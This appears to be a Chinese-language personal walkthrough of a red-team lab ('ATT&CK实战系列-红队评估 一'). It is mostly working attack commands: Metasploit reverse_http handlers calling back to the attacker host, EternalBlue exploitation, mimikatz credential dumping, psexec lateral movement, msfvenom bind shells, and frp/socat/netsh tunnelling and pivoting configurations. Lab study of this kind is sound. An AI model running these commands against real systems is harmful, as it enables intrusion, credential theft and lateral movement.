ATT&CK实战系列-红队评估 (一) 练习中
网络配置
攻击机: 主机 192.158.50.161, Kali 192.158.50.80(桥接)
win7: 192.168.50.143 主机模式+桥接
2008r2:192.168.50.138 主机模式
2003 :192.168.50.141 主机模式
1.phpMyadmin Get shell
2.cs/msf上线
msf获得shell后。 msf上线cs操作:
cs新建 listener: host: 192.168.50.161, port: 80.
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.50.161
set lport 80
set session 1
exploit
2.2 NAT网络下的kali: cs -> msf上线。
经测试socat转发的流量会议有时会关闭。用frp来转发流量 从 cs 上线 msf
frp
[common]
server_addr = 192.168.50.161
server_port = 7000
[s1234]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 1234
cs listener
Name: 1234_msf
Payload: Foreign HTTP
Host: 192.168.50.161
Port: 1234
msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 1234
run -j
cs 右击已上线的机器 spwn, -> 1234_msf
回来msf看到机器上线了。 session -i 1
进入后添加路由
meterpreter > run post/multi/manage/autoroute cmd=add subnet=192.168.52.0
meterpreter > run post/multi/manage/autoroute cmd=print
有了路由开始对其他机器攻击
meterpreter > background
msf > set exploit/windows/smb/ms17_010_eternalblue
msf > set payload windows/x64/meterpreter/bind_tcp
msf > set rhosts 192.168.52.138
msf > show targets
msf > set target 3 # 不设置成2008 r2 容易失败。
msf > run
2.3.1 通过凭据上线 138: 2008 r2
cs中已经上线 192.168.52.143。
1.右击 - 梼杌(插件) - 获取凭证 - minikatz - logon password 得到凭据。
2.右击 - Explore - Net view 找到 138
3.CS, Listener 新建 Beacon - SMB : 命名 smb_beacon
4.View - Targets , 右击138 - Jump - Psexec - 选择一个凭据, Listener: smb_beacon
2.3.2 通过ms17_010 上线 138: 2008 r2
使用msf 143 session 进行攻击。
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
show targets
set target 3
run
有时会失败。多打几次就成功了。
2.3.3 msf通过bind tcp上线138。
-
线上143后添加 route:
meterpreter > run post/multi/manage/autoroute cmd=add subnet=192.168.52.0
-
然后生成 bind_tcp 的 shell, bind_tcp运行后监听本机端口,当连接访问该此端口时即可上线。
msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f exe >bind.exe
# 在138上执行bind.exe
- msf 上线, 会通过上面的路由自动连接过去。
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 5555
run
2.3.4 cs HTTP代理上线/端口转发/生成代理
- 边缘机器 192.168.52.143 开启代理
# 代理 方式1 goproxy
proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
# 代理 方式2 frp 见下面
# 端口转发 方式1
netsh interface portproxy add v4tov4 listenaddress=192.168.52.143 listenport=822 connectaddress=192.168.50.170 connectport=8080
# 端口转发 方式2
# nps tcp隧道 服务端端口:822 目标 (IP:端口): 8080
# 端口转发 方式3
# portfwd.exe -l 822 -a 192.168.50.170 -p 8080
# 端口转发 方式4 frp 见下面
# 端口转发 方式5
socat TCP4-LISTEN:822,fork TCP4::8080
netstat -aon | findstr 8080
netstat -aon | findstr 822
2.cs新建listener
HTTP Host: 192.168.50.161
HTTP Host(Stager):192.168.50.161
HTTP Port: 8122 (任意)
# HTTP Proxy直接填 192.168.52.143:8080 可省略上面的"端口转发"步骤。
HTTP Proxy: http://192.168.52.143:822
3.cs生成 stateless executable
4.在目标机器 192.168.52.138 运行 exe上线。
其他补充方式
代理 方式2 frp
将frps, frpc都运行在 192.168.52.143
# frps
[common]
bind_port = 7000
# frpc
[common]
server_addr = 192.168.52.143
server_port = 7000
[proxy]
type = tcp
remote_port = 8080
plugin = http_proxy
端口转发 方式4 frp
[common]
server_addr = 127.0.0.1
server_port = 7000
[tmp]
type = tcp
local_ip = 127.0.0.1
local_port = 822
remote_port = 8080